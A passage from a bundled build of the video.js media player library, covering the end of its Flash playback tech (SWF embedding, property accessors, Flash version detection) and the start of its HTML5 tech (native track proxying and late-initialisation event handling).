  11374. _globalWindow2['default'].videojs.Flash.onEvent = Flash.onEvent;
  11375. _globalWindow2['default'].videojs.Flash.onError = Flash.onError;
  11376. this.on('seeked', function () {
  11377. this.lastSeekTarget_ = undefined;
  11378. });
  11379. }
  11380. // Create setters and getters for attributes
  11381. /**
  11382. * Create the component's DOM element
  11383. *
  11384. * @return {Element}
  11385. * @method createEl
  11386. */
  11387. Flash.prototype.createEl = function createEl() {
  11388. var options = this.options_;
  11389. // If video.js is hosted locally you should also set the location
  11390. // for the hosted swf, which should be relative to the page (not video.js)
  11391. // Otherwise this adds a CDN url.
  11392. // The CDN also auto-adds a swf URL for that specific version.
  11393. if (!options.swf) {
  11394. options.swf = '//vjs.zencdn.net/swf/5.1.0/video-js.swf';
  11395. }
  11396. // Generate ID for swf object
  11397. var objId = options.techId;
  11398. // Merge default flashvars with ones passed in to init
  11399. var flashVars = _objectAssign2['default']({
  11400. // SWF Callback Functions
  11401. 'readyFunction': 'videojs.Flash.onReady',
  11402. 'eventProxyFunction': 'videojs.Flash.onEvent',
  11403. 'errorEventProxyFunction': 'videojs.Flash.onError',
  11404. // Player Settings
  11405. 'autoplay': options.autoplay,
  11406. 'preload': options.preload,
  11407. 'loop': options.loop,
  11408. 'muted': options.muted
  11409. }, options.flashVars);
  11410. // Merge default parames with ones passed in
  11411. var params = _objectAssign2['default']({
  11412. 'wmode': 'opaque', // Opaque is needed to overlay controls, but can affect playback performance
  11413. 'bgcolor': '#000000' // Using bgcolor prevents a white flash when the object is loading
  11414. }, options.params);
  11415. // Merge default attributes with ones passed in
  11416. var attributes = _objectAssign2['default']({
  11417. 'id': objId,
  11418. 'name': objId, // Both ID and Name needed or swf to identify itself
  11419. 'class': 'vjs-tech'
  11420. }, options.attributes);
  11421. this.el_ = Flash.embed(options.swf, flashVars, params, attributes);
  11422. this.el_.tech = this;
  11423. return this.el_;
  11424. };
  11425. /**
  11426. * Play for flash tech
  11427. *
  11428. * @method play
  11429. */
  11430. Flash.prototype.play = function play() {
  11431. if (this.ended()) {
  11432. this.setCurrentTime(0);
  11433. }
  11434. this.el_.vjs_play();
  11435. };
  11436. /**
  11437. * Pause for flash tech
  11438. *
  11439. * @method pause
  11440. */
  11441. Flash.prototype.pause = function pause() {
  11442. this.el_.vjs_pause();
  11443. };
  11444. /**
  11445. * Get/set video
  11446. *
  11447. * @param {Object=} src Source object
  11448. * @return {Object}
  11449. * @method src
  11450. */
  11451. Flash.prototype.src = function src(_src) {
  11452. if (_src === undefined) {
  11453. return this.currentSrc();
  11454. }
  11455. // Setting src through `src` not `setSrc` will be deprecated
  11456. return this.setSrc(_src);
  11457. };
  11458. /**
  11459. * Set video
  11460. *
  11461. * @param {Object=} src Source object
  11462. * @deprecated
  11463. * @method setSrc
  11464. */
  11465. Flash.prototype.setSrc = function setSrc(src) {
  11466. // Make sure source URL is absolute.
  11467. src = Url.getAbsoluteURL(src);
  11468. this.el_.vjs_src(src);
  11469. // Currently the SWF doesn't autoplay if you load a source later.
  11470. // e.g. Load player w/ no source, wait 2s, set src.
  11471. if (this.autoplay()) {
  11472. var tech = this;
  11473. this.setTimeout(function () {
  11474. tech.play();
  11475. }, 0);
  11476. }
  11477. };
  11478. /**
  11479. * Returns true if the tech is currently seeking.
  11480. * @return {boolean} true if seeking
  11481. */
  11482. Flash.prototype.seeking = function seeking() {
  11483. return this.lastSeekTarget_ !== undefined;
  11484. };
  11485. /**
  11486. * Set current time
  11487. *
  11488. * @param {Number} time Current time of video
  11489. * @method setCurrentTime
  11490. */
  11491. Flash.prototype.setCurrentTime = function setCurrentTime(time) {
  11492. var seekable = this.seekable();
  11493. if (seekable.length) {
  11494. // clamp to the current seekable range
  11495. time = time > seekable.start(0) ? time : seekable.start(0);
  11496. time = time < seekable.end(seekable.length - 1) ? time : seekable.end(seekable.length - 1);
  11497. this.lastSeekTarget_ = time;
  11498. this.trigger('seeking');
  11499. this.el_.vjs_setProperty('currentTime', time);
  11500. _Tech.prototype.setCurrentTime.call(this);
  11501. }
  11502. };
  11503. /**
  11504. * Get current time
  11505. *
  11506. * @param {Number=} time Current time of video
  11507. * @return {Number} Current time
  11508. * @method currentTime
  11509. */
  11510. Flash.prototype.currentTime = function currentTime(time) {
  11511. // when seeking make the reported time keep up with the requested time
  11512. // by reading the time we're seeking to
  11513. if (this.seeking()) {
  11514. return this.lastSeekTarget_ || 0;
  11515. }
  11516. return this.el_.vjs_getProperty('currentTime');
  11517. };
  11518. /**
  11519. * Get current source
  11520. *
  11521. * @method currentSrc
  11522. */
  11523. Flash.prototype.currentSrc = function currentSrc() {
  11524. if (this.currentSource_) {
  11525. return this.currentSource_.src;
  11526. } else {
  11527. return this.el_.vjs_getProperty('currentSrc');
  11528. }
  11529. };
  11530. /**
  11531. * Get media duration
  11532. *
  11533. * @returns {Number} Media duration
  11534. */
  11535. Flash.prototype.duration = function duration() {
  11536. if (this.readyState() === 0) {
  11537. return NaN;
  11538. } else {
  11539. var duration = this.el_.vjs_getProperty('duration');
  11540. return duration >= 0 ? duration : Infinity;
  11541. }
  11542. };
  11543. /**
  11544. * Load media into player
  11545. *
  11546. * @method load
  11547. */
  11548. Flash.prototype.load = function load() {
  11549. this.el_.vjs_load();
  11550. };
  11551. /**
  11552. * Get poster
  11553. *
  11554. * @method poster
  11555. */
  11556. Flash.prototype.poster = function poster() {
  11557. this.el_.vjs_getProperty('poster');
  11558. };
  11559. /**
  11560. * Poster images are not handled by the Flash tech so make this a no-op
  11561. *
  11562. * @method setPoster
  11563. */
  11564. Flash.prototype.setPoster = function setPoster() {};
  11565. /**
  11566. * Determine if can seek in media
  11567. *
  11568. * @return {TimeRangeObject}
  11569. * @method seekable
  11570. */
  11571. Flash.prototype.seekable = function seekable() {
  11572. var duration = this.duration();
  11573. if (duration === 0) {
  11574. return _utilsTimeRangesJs.createTimeRange();
  11575. }
  11576. return _utilsTimeRangesJs.createTimeRange(0, duration);
  11577. };
  11578. /**
  11579. * Get buffered time range
  11580. *
  11581. * @return {TimeRangeObject}
  11582. * @method buffered
  11583. */
  11584. Flash.prototype.buffered = function buffered() {
  11585. if(typeof this.el_.vjs_getProperty!="function"){
  11586. return false;
  11587. }
  11588. var ranges = this.el_.vjs_getProperty('buffered');
  11589. if (ranges.length === 0) {
  11590. return _utilsTimeRangesJs.createTimeRange();
  11591. }
  11592. return _utilsTimeRangesJs.createTimeRange(ranges[0][0], ranges[0][1]);
  11593. };
  11594. /**
  11595. * Get fullscreen support -
  11596. * Flash does not allow fullscreen through javascript
  11597. * so always returns false
  11598. *
  11599. * @return {Boolean} false
  11600. * @method supportsFullScreen
  11601. */
  11602. Flash.prototype.supportsFullScreen = function supportsFullScreen() {
  11603. return false; // Flash does not allow fullscreen through javascript
  11604. };
  11605. /**
  11606. * Request to enter fullscreen
  11607. * Flash does not allow fullscreen through javascript
  11608. * so always returns false
  11609. *
  11610. * @return {Boolean} false
  11611. * @method enterFullScreen
  11612. */
  11613. Flash.prototype.enterFullScreen = function enterFullScreen() {
  11614. return false;
  11615. };
  11616. return Flash;
  11617. })(_tech2['default']);
  11618. var _api = Flash.prototype;
  11619. var _readWrite = 'rtmpConnection,rtmpStream,preload,defaultPlaybackRate,playbackRate,autoplay,loop,mediaGroup,controller,controls,volume,muted,defaultMuted'.split(',');
  11620. var _readOnly = 'networkState,readyState,initialTime,startOffsetTime,paused,ended,videoWidth,videoHeight'.split(',');
  11621. function _createSetter(attr) {
  11622. var attrUpper = attr.charAt(0).toUpperCase() + attr.slice(1);
  11623. _api['set' + attrUpper] = function (val) {
  11624. return this.el_.vjs_setProperty(attr, val);
  11625. };
  11626. }
  11627. function _createGetter(attr) {
  11628. _api[attr] = function () {
  11629. return this.el_.vjs_getProperty(attr);
  11630. };
  11631. }
  11632. // Create getter and setters for all read/write attributes
  11633. for (var i = 0; i < _readWrite.length; i++) {
  11634. _createGetter(_readWrite[i]);
  11635. _createSetter(_readWrite[i]);
  11636. }
  11637. // Create getters for read-only attributes
  11638. for (var i = 0; i < _readOnly.length; i++) {
  11639. _createGetter(_readOnly[i]);
  11640. }
  11641. /* Flash Support Testing -------------------------------------------------------- */
  11642. Flash.isSupported = function () {
  11643. return Flash.version()[0] >= 10;
  11644. // return swfobject.hasFlashPlayerVersion('10');
  11645. };
  11646. // Add Source Handler pattern functions to this tech
  11647. _tech2['default'].withSourceHandlers(Flash);
  11648. /*
  11649. * The default native source handler.
  11650. * This simply passes the source to the video element. Nothing fancy.
  11651. *
  11652. * @param {Object} source The source object
  11653. * @param {Flash} tech The instance of the Flash tech
  11654. */
  11655. Flash.nativeSourceHandler = {};
  11656. /**
  11657. * Check if Flash can play the given videotype
  11658. * @param {String} type The mimetype to check
  11659. * @return {String} 'probably', 'maybe', or '' (empty string)
  11660. */
  11661. Flash.nativeSourceHandler.canPlayType = function (type) {
  11662. if (type in Flash.formats) {
  11663. return 'maybe';
  11664. }
  11665. return '';
  11666. };
  11667. /*
  11668. * Check Flash can handle the source natively
  11669. *
  11670. * @param {Object} source The source object
  11671. * @param {Object} options The options passed to the tech
  11672. * @return {String} 'probably', 'maybe', or '' (empty string)
  11673. */
  11674. Flash.nativeSourceHandler.canHandleSource = function (source, options) {
  11675. var type;
  11676. function guessMimeType(src) {
  11677. var ext = Url.getFileExtension(src);
  11678. if (ext) {
  11679. return 'video/' + ext;
  11680. }
  11681. return '';
  11682. }
  11683. if (!source.type) {
  11684. type = guessMimeType(source.src);
  11685. } else {
  11686. // Strip code information from the type because we don't get that specific
  11687. type = source.type.replace(/;.*/, '').toLowerCase();
  11688. }
  11689. return Flash.nativeSourceHandler.canPlayType(type);
  11690. };
  11691. /*
  11692. * Pass the source to the flash object
  11693. * Adaptive source handlers will have more complicated workflows before passing
  11694. * video data to the video element
  11695. *
  11696. * @param {Object} source The source object
  11697. * @param {Flash} tech The instance of the Flash tech
  11698. * @param {Object} options The options to pass to the source
  11699. */
  11700. Flash.nativeSourceHandler.handleSource = function (source, tech, options) {
  11701. tech.setSrc(source.src);
  11702. };
  11703. /*
  11704. * Clean up the source handler when disposing the player or switching sources..
  11705. * (no cleanup is needed when supporting the format natively)
  11706. */
  11707. Flash.nativeSourceHandler.dispose = function () {};
  11708. // Register the native source handler
  11709. Flash.registerSourceHandler(Flash.nativeSourceHandler);
  11710. Flash.formats = {
  11711. 'video/flv': 'FLV',
  11712. 'video/x-flv': 'FLV',
  11713. 'video/mp4': 'MP4',
  11714. 'video/m4v': 'MP4'
  11715. };
  11716. Flash.onReady = function (currSwf) {
  11717. var el = Dom.getEl(currSwf);
  11718. var tech = el && el.tech;
  11719. // if there is no el then the tech has been disposed
  11720. // and the tech element was removed from the player div
  11721. if (tech && tech.el()) {
  11722. // check that the flash object is really ready
  11723. Flash.checkReady(tech);
  11724. }
  11725. };
  11726. // The SWF isn't always ready when it says it is. Sometimes the API functions still need to be added to the object.
  11727. // If it's not ready, we set a timeout to check again shortly.
  11728. Flash.checkReady = function (tech) {
  11729. // stop worrying if the tech has been disposed
  11730. if (!tech.el()) {
  11731. return;
  11732. }
  11733. // check if API property exists
  11734. if (tech.el().vjs_getProperty) {
  11735. // tell tech it's ready
  11736. tech.triggerReady();
  11737. } else {
  11738. // wait longer
  11739. this.setTimeout(function () {
  11740. Flash['checkReady'](tech);
  11741. }, 50);
  11742. }
  11743. };
  11744. // Trigger events from the swf on the player
  11745. Flash.onEvent = function (swfID, eventName) {
  11746. var tech = Dom.getEl(swfID).tech;
  11747. tech.trigger(eventName, Array.prototype.slice.call(arguments, 2));
  11748. };
  11749. // Log errors from the swf
  11750. Flash.onError = function (swfID, err) {
  11751. var tech = Dom.getEl(swfID).tech;
  11752. // trigger MEDIA_ERR_SRC_NOT_SUPPORTED
  11753. if (err === 'srcnotfound') {
  11754. return tech.error(4);
  11755. }
  11756. // trigger a custom error
  11757. tech.error('FLASH: ' + err);
  11758. };
  11759. // Flash Version Check
  11760. Flash.version = function () {
  11761. var version = '0,0,0';
  11762. // IE
  11763. try {
  11764. version = new _globalWindow2['default'].ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').replace(/\D+/g, ',').match(/^,?(.+),?$/)[1];
  11765. // other browsers
  11766. } catch (e) {
  11767. try {
  11768. if (navigator.mimeTypes['application/x-shockwave-flash'].enabledPlugin) {
  11769. version = (navigator.plugins['Shockwave Flash 2.0'] || navigator.plugins['Shockwave Flash']).description.replace(/\D+/g, ',').match(/^,?(.+),?$/)[1];
  11770. }
  11771. } catch (err) {}
  11772. }
  11773. return version.split(',');
  11774. };
  11775. // Flash embedding method. Only used in non-iframe mode
  11776. Flash.embed = function (swf, flashVars, params, attributes) {
  11777. var code = Flash.getEmbedCode(swf, flashVars, params, attributes);
  11778. // Get element by embedding code and retrieving created element
  11779. var obj = Dom.createEl('div', { innerHTML: code }).childNodes[0];
  11780. return obj;
  11781. };
  11782. Flash.getEmbedCode = function (swf, flashVars, params, attributes) {
  11783. var objTag = '<object type="application/x-shockwave-flash" ';
  11784. var flashVarsString = '';
  11785. var paramsString = '';
  11786. var attrsString = '';
  11787. // Convert flash vars to string
  11788. if (flashVars) {
  11789. Object.getOwnPropertyNames(flashVars).forEach(function (key) {
  11790. flashVarsString += key + '=' + flashVars[key] + '&amp;';
  11791. });
  11792. }
  11793. // Add swf, flashVars, and other default params
  11794. params = _objectAssign2['default']({
  11795. 'movie': swf,
  11796. 'flashvars': flashVarsString,
  11797. 'allowScriptAccess': 'always', // Required to talk to swf
  11798. 'allowNetworking': 'all' // All should be default, but having security issues.
  11799. }, params);
  11800. // Create param tags string
  11801. Object.getOwnPropertyNames(params).forEach(function (key) {
  11802. paramsString += '<param name="' + key + '" value="' + params[key] + '" />';
  11803. });
  11804. attributes = _objectAssign2['default']({
  11805. // Add swf to attributes (need both for IE and Others to work)
  11806. 'data': swf,
  11807. // Default to 100% width/height
  11808. 'width': '100%',
  11809. 'height': '100%'
  11810. }, attributes);
  11811. // Create Attributes string
  11812. Object.getOwnPropertyNames(attributes).forEach(function (key) {
  11813. attrsString += key + '="' + attributes[key] + '" ';
  11814. });
  11815. return '' + objTag + attrsString + '>' + paramsString + '</object>';
  11816. };
  11817. // Run Flash through the RTMP decorator
  11818. _flashRtmp2['default'](Flash);
  11819. _component2['default'].registerComponent('Flash', Flash);
  11820. _tech2['default'].registerTech('Flash', Flash);
  11821. exports['default'] = Flash;
  11822. module.exports = exports['default'];
  11823. },{"../component":67,"../utils/dom.js":142,"../utils/time-ranges.js":150,"../utils/url.js":152,"./flash-rtmp":120,"./tech":124,"global/window":2,"object.assign":45}],122:[function(_dereq_,module,exports){
  11824. /**
  11825. * @file html5.js
  11826. * HTML5 Media Controller - Wrapper for HTML5 Media API
  11827. */
  11828. 'use strict';
  11829. exports.__esModule = true;
  11830. var _templateObject = _taggedTemplateLiteralLoose(['Text Tracks are being loaded from another origin but the crossorigin attribute isn\'t used. \n This may prevent text tracks from loading.'], ['Text Tracks are being loaded from another origin but the crossorigin attribute isn\'t used. \n This may prevent text tracks from loading.']);
  11831. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  11832. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  11833. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  11834. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  11835. function _taggedTemplateLiteralLoose(strings, raw) { strings.raw = raw; return strings; }
  11836. var _techJs = _dereq_('./tech.js');
  11837. var _techJs2 = _interopRequireDefault(_techJs);
  11838. var _component = _dereq_('../component');
  11839. var _component2 = _interopRequireDefault(_component);
  11840. var _utilsDomJs = _dereq_('../utils/dom.js');
  11841. var Dom = _interopRequireWildcard(_utilsDomJs);
  11842. var _utilsUrlJs = _dereq_('../utils/url.js');
  11843. var Url = _interopRequireWildcard(_utilsUrlJs);
  11844. var _utilsFnJs = _dereq_('../utils/fn.js');
  11845. var Fn = _interopRequireWildcard(_utilsFnJs);
  11846. var _utilsLogJs = _dereq_('../utils/log.js');
  11847. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  11848. var _tsml = _dereq_('tsml');
  11849. var _tsml2 = _interopRequireDefault(_tsml);
  11850. var _srcJsTracksTextTrackJs = _dereq_('../../../src/js/tracks/text-track.js');
  11851. var _srcJsTracksTextTrackJs2 = _interopRequireDefault(_srcJsTracksTextTrackJs);
  11852. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  11853. var browser = _interopRequireWildcard(_utilsBrowserJs);
  11854. var _globalDocument = _dereq_('global/document');
  11855. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  11856. var _globalWindow = _dereq_('global/window');
  11857. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  11858. var _objectAssign = _dereq_('object.assign');
  11859. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  11860. var _utilsMergeOptionsJs = _dereq_('../utils/merge-options.js');
  11861. var _utilsMergeOptionsJs2 = _interopRequireDefault(_utilsMergeOptionsJs);
  11862. var _utilsToTitleCaseJs = _dereq_('../utils/to-title-case.js');
  11863. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  11864. /**
  11865. * HTML5 Media Controller - Wrapper for HTML5 Media API
  11866. *
  11867. * @param {Object=} options Object of option names and values
  11868. * @param {Function=} ready Ready callback function
  11869. * @extends Tech
  11870. * @class Html5
  11871. */
  11872. var Html5 = (function (_Tech) {
  11873. _inherits(Html5, _Tech);
  11874. function Html5(options, ready) {
  11875. var _this = this;
  11876. _classCallCheck(this, Html5);
  11877. _Tech.call(this, options, ready);
  11878. var source = options.source;
  11879. var crossoriginTracks = false;
  11880. // Set the source if one is provided
  11881. // 1) Check if the source is new (if not, we want to keep the original so playback isn't interrupted)
  11882. // 2) Check to see if the network state of the tag was failed at init, and if so, reset the source
  11883. // anyway so the error gets fired.
  11884. if (source && (this.el_.currentSrc !== source.src || options.tag && options.tag.initNetworkState_ === 3)) {
  11885. this.setSource(source);
  11886. } else {
  11887. this.handleLateInit_(this.el_);
  11888. }
  11889. if (this.el_.hasChildNodes()) {
  11890. var nodes = this.el_.childNodes;
  11891. var nodesLength = nodes.length;
  11892. var removeNodes = [];
  11893. while (nodesLength--) {
  11894. var node = nodes[nodesLength];
  11895. var nodeName = node.nodeName.toLowerCase();
  11896. if (nodeName === 'track') {
  11897. if (!this.featuresNativeTextTracks) {
  11898. // Empty video tag tracks so the built-in player doesn't use them also.
  11899. // This may not be fast enough to stop HTML5 browsers from reading the tags
  11900. // so we'll need to turn off any default tracks if we're manually doing
  11901. // captions and subtitles. videoElement.textTracks
  11902. removeNodes.push(node);
  11903. } else {
  11904. // store HTMLTrackElement and TextTrack to remote list
  11905. this.remoteTextTrackEls().addTrackElement_(node);
  11906. this.remoteTextTracks().addTrack_(node.track);
  11907. if (!crossoriginTracks && !this.el_.hasAttribute('crossorigin') && Url.isCrossOrigin(node.src)) {
  11908. crossoriginTracks = true;
  11909. }
  11910. }
  11911. }
  11912. }
  11913. for (var i = 0; i < removeNodes.length; i++) {
  11914. this.el_.removeChild(removeNodes[i]);
  11915. }
  11916. }
  11917. var trackTypes = ['audio', 'video'];
  11918. // ProxyNativeTextTracks
  11919. trackTypes.forEach(function (type) {
  11920. var capitalType = _utilsToTitleCaseJs2['default'](type);
  11921. if (!_this['featuresNative' + capitalType + 'Tracks']) {
  11922. return;
  11923. }
  11924. var tl = _this.el()[type + 'Tracks'];
  11925. if (tl && tl.addEventListener) {
  11926. tl.addEventListener('change', Fn.bind(_this, _this['handle' + capitalType + 'TrackChange_']));
  11927. tl.addEventListener('addtrack', Fn.bind(_this, _this['handle' + capitalType + 'TrackAdd_']));
  11928. tl.addEventListener('removetrack', Fn.bind(_this, _this['handle' + capitalType + 'TrackRemove_']));
  11929. // Remove (native) trackts that are not used anymore
  11930. _this.on('loadstart', _this['removeOld' + capitalType + 'Tracks_']);
  11931. }
  11932. });
  11933. if (this.featuresNativeTextTracks) {
  11934. if (crossoriginTracks) {
  11935. _utilsLogJs2['default'].warn(_tsml2['default'](_templateObject));
  11936. }
  11937. this.handleTextTrackChange_ = Fn.bind(this, this.handleTextTrackChange);
  11938. this.handleTextTrackAdd_ = Fn.bind(this, this.handleTextTrackAdd);
  11939. this.handleTextTrackRemove_ = Fn.bind(this, this.handleTextTrackRemove);
  11940. this.proxyNativeTextTracks_();
  11941. }
  11942. // Determine if native controls should be used
  11943. // Our goal should be to get the custom controls on mobile solid everywhere
  11944. // so we can remove this all together. Right now this will block custom
  11945. // controls on touch enabled laptops like the Chrome Pixel
  11946. if ((browser.TOUCH_ENABLED || browser.IS_IPHONE || browser.IS_NATIVE_ANDROID) && options.nativeControlsForTouch === true) {
  11947. this.setControls(true);
  11948. }
  11949. this.triggerReady();
  11950. }
  11951. /* HTML5 Support Testing ---------------------------------------------------- */
  11952. /*
  11953. * Element for testing browser HTML5 video capabilities
  11954. *
  11955. * @type {Element}
  11956. * @constant
  11957. * @private
  11958. */
  11959. /**
  11960. * Dispose of html5 media element
  11961. *
  11962. * @method dispose
  11963. */
  11964. Html5.prototype.dispose = function dispose() {
  11965. var _this2 = this;
  11966. // Un-ProxyNativeTracks
  11967. ['audio', 'video', 'text'].forEach(function (type) {
  11968. var capitalType = _utilsToTitleCaseJs2['default'](type);
  11969. var tl = _this2.el_[type + 'Tracks'];
  11970. if (tl && tl.removeEventListener) {
  11971. tl.removeEventListener('change', _this2['handle' + capitalType + 'TrackChange_']);
  11972. tl.removeEventListener('addtrack', _this2['handle' + capitalType + 'TrackAdd_']);
  11973. tl.removeEventListener('removetrack', _this2['handle' + capitalType + 'TrackRemove_']);
  11974. }
  11975. // Stop removing old text tracks
  11976. if (tl) {
  11977. _this2.off('loadstart', _this2['removeOld' + capitalType + 'Tracks_']);
  11978. }
  11979. });
  11980. Html5.disposeMediaElement(this.el_);
  11981. // tech will handle clearing of the emulated track list
  11982. _Tech.prototype.dispose.call(this);
  11983. };
  11984. /**
  11985. * Create the component's DOM element
  11986. *
  11987. * @return {Element}
  11988. * @method createEl
  11989. */
  11990. Html5.prototype.createEl = function createEl() {
  11991. var el = this.options_.tag;
  11992. // Check if this browser supports moving the element into the box.
  11993. // On the iPhone video will break if you move the element,
  11994. // So we have to create a brand new element.
  11995. if (!el || this['movingMediaElementInDOM'] === false) {
  11996. // If the original tag is still there, clone and remove it.
  11997. if (el) {
  11998. var clone = el.cloneNode(true);
  11999. el.parentNode.insertBefore(clone, el);
  12000. Html5.disposeMediaElement(el);
  12001. el = clone;
  12002. } else {
  12003. el = _globalDocument2['default'].createElement('video');
  12004. // determine if native controls should be used
  12005. var tagAttributes = this.options_.tag && Dom.getElAttributes(this.options_.tag);
  12006. var attributes = _utilsMergeOptionsJs2['default']({}, tagAttributes);
  12007. if (!browser.TOUCH_ENABLED || this.options_.nativeControlsForTouch !== true) {
  12008. delete attributes.controls;
  12009. }
  12010. Dom.setElAttributes(el, _objectAssign2['default'](attributes, {
  12011. id: this.options_.techId,
  12012. 'class': 'vjs-tech'
  12013. }));
  12014. }
  12015. }
  12016. // Update specific tag settings, in case they were overridden
  12017. var settingsAttrs = ['autoplay', 'preload', 'loop', 'muted'];
  12018. for (var i = settingsAttrs.length - 1; i >= 0; i--) {
  12019. var attr = settingsAttrs[i];
  12020. var overwriteAttrs = {};
  12021. if (typeof this.options_[attr] !== 'undefined') {
  12022. overwriteAttrs[attr] = this.options_[attr];
  12023. }
  12024. Dom.setElAttributes(el, overwriteAttrs);
  12025. }
  12026. return el;
  12027. // jenniisawesome = true;
  12028. };
  12029. // If we're loading the playback object after it has started loading
  12030. // or playing the video (often with autoplay on) then the loadstart event
  12031. // has already fired and we need to fire it manually because many things
  12032. // rely on it.
  12033. Html5.prototype.handleLateInit_ = function handleLateInit_(el) {
  12034. var _this3 = this;
  12035. if (el.networkState === 0 || el.networkState === 3) {
  12036. // The video element hasn't started loading the source yet
  12037. // or didn't find a source
  12038. return;
  12039. }
  12040. if (el.readyState === 0) {
  12041. var _ret = (function () {
  12042. // NetworkState is set synchronously BUT loadstart is fired at the
  12043. // end of the current stack, usually before setInterval(fn, 0).
  12044. // So at this point we know loadstart may have already fired or is
  12045. // about to fire, and either way the player hasn't seen it yet.
  12046. // We don't want to fire loadstart prematurely here and cause a
  12047. // double loadstart so we'll wait and see if it happens between now
  12048. // and the next loop, and fire it if not.
  12049. // HOWEVER, we also want to make sure it fires before loadedmetadata
  12050. // which could also happen between now and the next loop, so we'll
  12051. // watch for that also.
  12052. var loadstartFired = false;
  12053. var setLoadstartFired = function setLoadstartFired() {
  12054. loadstartFired = true;
  12055. };
  12056. _this3.on('loadstart', setLoadstartFired);
  12057. var triggerLoadstart = function triggerLoadstart() {
  12058. // We did miss the original loadstart. Make sure the player
  12059. // sees loadstart before loadedmetadata
  12060. if (!loadstartFired) {
  12061. this.trigger('loadstart');
  12062. }
  12063. };
  12064. _this3.on('loadedmetadata', triggerLoadstart);
  12065. _this3.ready(function () {
  12066. this.off('loadstart', setLoadstartFired);
  12067. this.off('loadedmetadata', triggerLoadstart);
  12068. if (!loadstartFired) {
  12069. // We did miss the original native loadstart. Fire it now.
  12070. this.trigger('loadstart');
  12071. }
  12072. });
  12073. return {
  12074. v: undefined
  12075. };
  12076. })();
  12077. if (typeof _ret === 'object') return _ret.v;
  12078. }
  12079. // From here on we know that loadstart already fired and we missed it.
  12080. // The other readyState events aren't as much of a problem if we double
  12081. // them, so not going to go to as much trouble as loadstart to prevent
  12082. // that unless we find reason to.
  12083. var eventsToTrigger = ['loadstart'];
  12084. // loadedmetadata: newly equal to HAVE_METADATA (1) or greater
  12085. eventsToTrigger.push('loadedmetadata');
  12086. // loadeddata: newly increased to HAVE_CURRENT_DATA (2) or greater
  12087. if (el.readyState >= 2) {
  12088. eventsToTrigger.push('loadeddata');
  12089. }
  12090. // canplay: newly increased to HAVE_FUTURE_DATA (3) or greater
  12091. if (el.readyState >= 3) {
  12092. eventsToTrigger.push('canplay');
  12093. }
  12094. // canplaythrough: newly equal to HAVE_ENOUGH_DATA (4)
  12095. if (el.readyState >= 4) {
  12096. eventsToTrigger.push('canplaythrough');
  12097. }
  12098. // We still need to give the player time to add event listeners
  12099. this.ready(function () {
  12100. eventsToTrigger.forEach(function (type) {
  12101. this.trigger(type);
  12102. }, this);
  12103. });
  12104. };
  12105. Html5.prototype.proxyNativeTextTracks_ = function proxyNativeTextTracks_() {
  12106. var tt = this.el().textTracks;
  12107. if (tt) {
  12108. // Add tracks - if player is initialised after DOM loaded, textTracks
  12109. // will not trigger addtrack
  12110. for (var i = 0; i < tt.length; i++) {
  12111. this.textTracks().addTrack_(tt[i]);
  12112. }
  12113. if (tt.addEventListener) {
  12114. tt.addEventListener('change', this.handleTextTrackChange_);
  12115. tt.addEventListener('addtrack', this.handleTextTrackAdd_);
  12116. tt.addEventListener('removetrack', this.handleTextTrackRemove_);
  12117. }
  12118. // Remove (native) texttracks that are not used anymore
  12119. this.on('loadstart', this.removeOldTextTracks_);
  12120. }
  12121. };
  12122. Html5.prototype.handleTextTrackChange = function handleTextTrackChange(e) {
  12123. var tt = this.textTracks();
  12124. this.textTracks().trigger({
  12125. type: 'change',
  12126. target: tt,
  12127. currentTarget: tt,
  12128. srcElement: tt
  12129. });
  12130. };
  12131. Html5.prototype.handleTextTrackAdd = function handleTextTrackAdd(e) {
  12132. this.textTracks().addTrack_(e.track);
  12133. };
  12134. Html5.prototype.handleTextTrackRemove = function handleTextTrackRemove(e) {
  12135. this.textTracks().removeTrack_(e.track);
  12136. };
  12137. Html5.prototype.handleVideoTrackChange_ = function handleVideoTrackChange_(e) {
  12138. var vt = this.videoTracks();
  12139. this.videoTracks().trigger({
  12140. type: 'change',
  12141. target: vt,
  12142. currentTarget: vt,
  12143. srcElement: vt
  12144. });
  12145. };
  12146. Html5.prototype.handleVideoTrackAdd_ = function handleVideoTrackAdd_(e) {
  12147. this.videoTracks().addTrack_(e.track);
  12148. };
  12149. Html5.prototype.handleVideoTrackRemove_ = function handleVideoTrackRemove_(e) {
  12150. this.videoTracks().removeTrack_(e.track);
  12151. };
  12152. Html5.prototype.handleAudioTrackChange_ = function handleAudioTrackChange_(e) {
  12153. var audioTrackList = this.audioTracks();
  12154. this.audioTracks().trigger({
  12155. type: 'change',
  12156. target: audioTrackList,
  12157. currentTarget: audioTrackList,
  12158. srcElement: audioTrackList
  12159. });
  12160. };
  12161. Html5.prototype.handleAudioTrackAdd_ = function handleAudioTrackAdd_(e) {
  12162. this.audioTracks().addTrack_(e.track);
  12163. };
  12164. Html5.prototype.handleAudioTrackRemove_ = function handleAudioTrackRemove_(e) {
  12165. this.audioTracks().removeTrack_(e.track);
  12166. };
  12167. /**
  12168. * This is a helper function that is used in removeOldTextTracks_, removeOldAudioTracks_ and
  12169. * removeOldVideoTracks_
  12170. * @param {Track[]} techTracks Tracks for this tech
  12171. * @param {Track[]} elTracks Tracks for the HTML5 video element
  12172. * @private
  12173. */
  12174. Html5.prototype.removeOldTracks_ = function removeOldTracks_(techTracks, elTracks) {
  12175. // This will loop over the techTracks and check if they are still used by the HTML5 video element
  12176. // If not, they will be removed from the emulated list
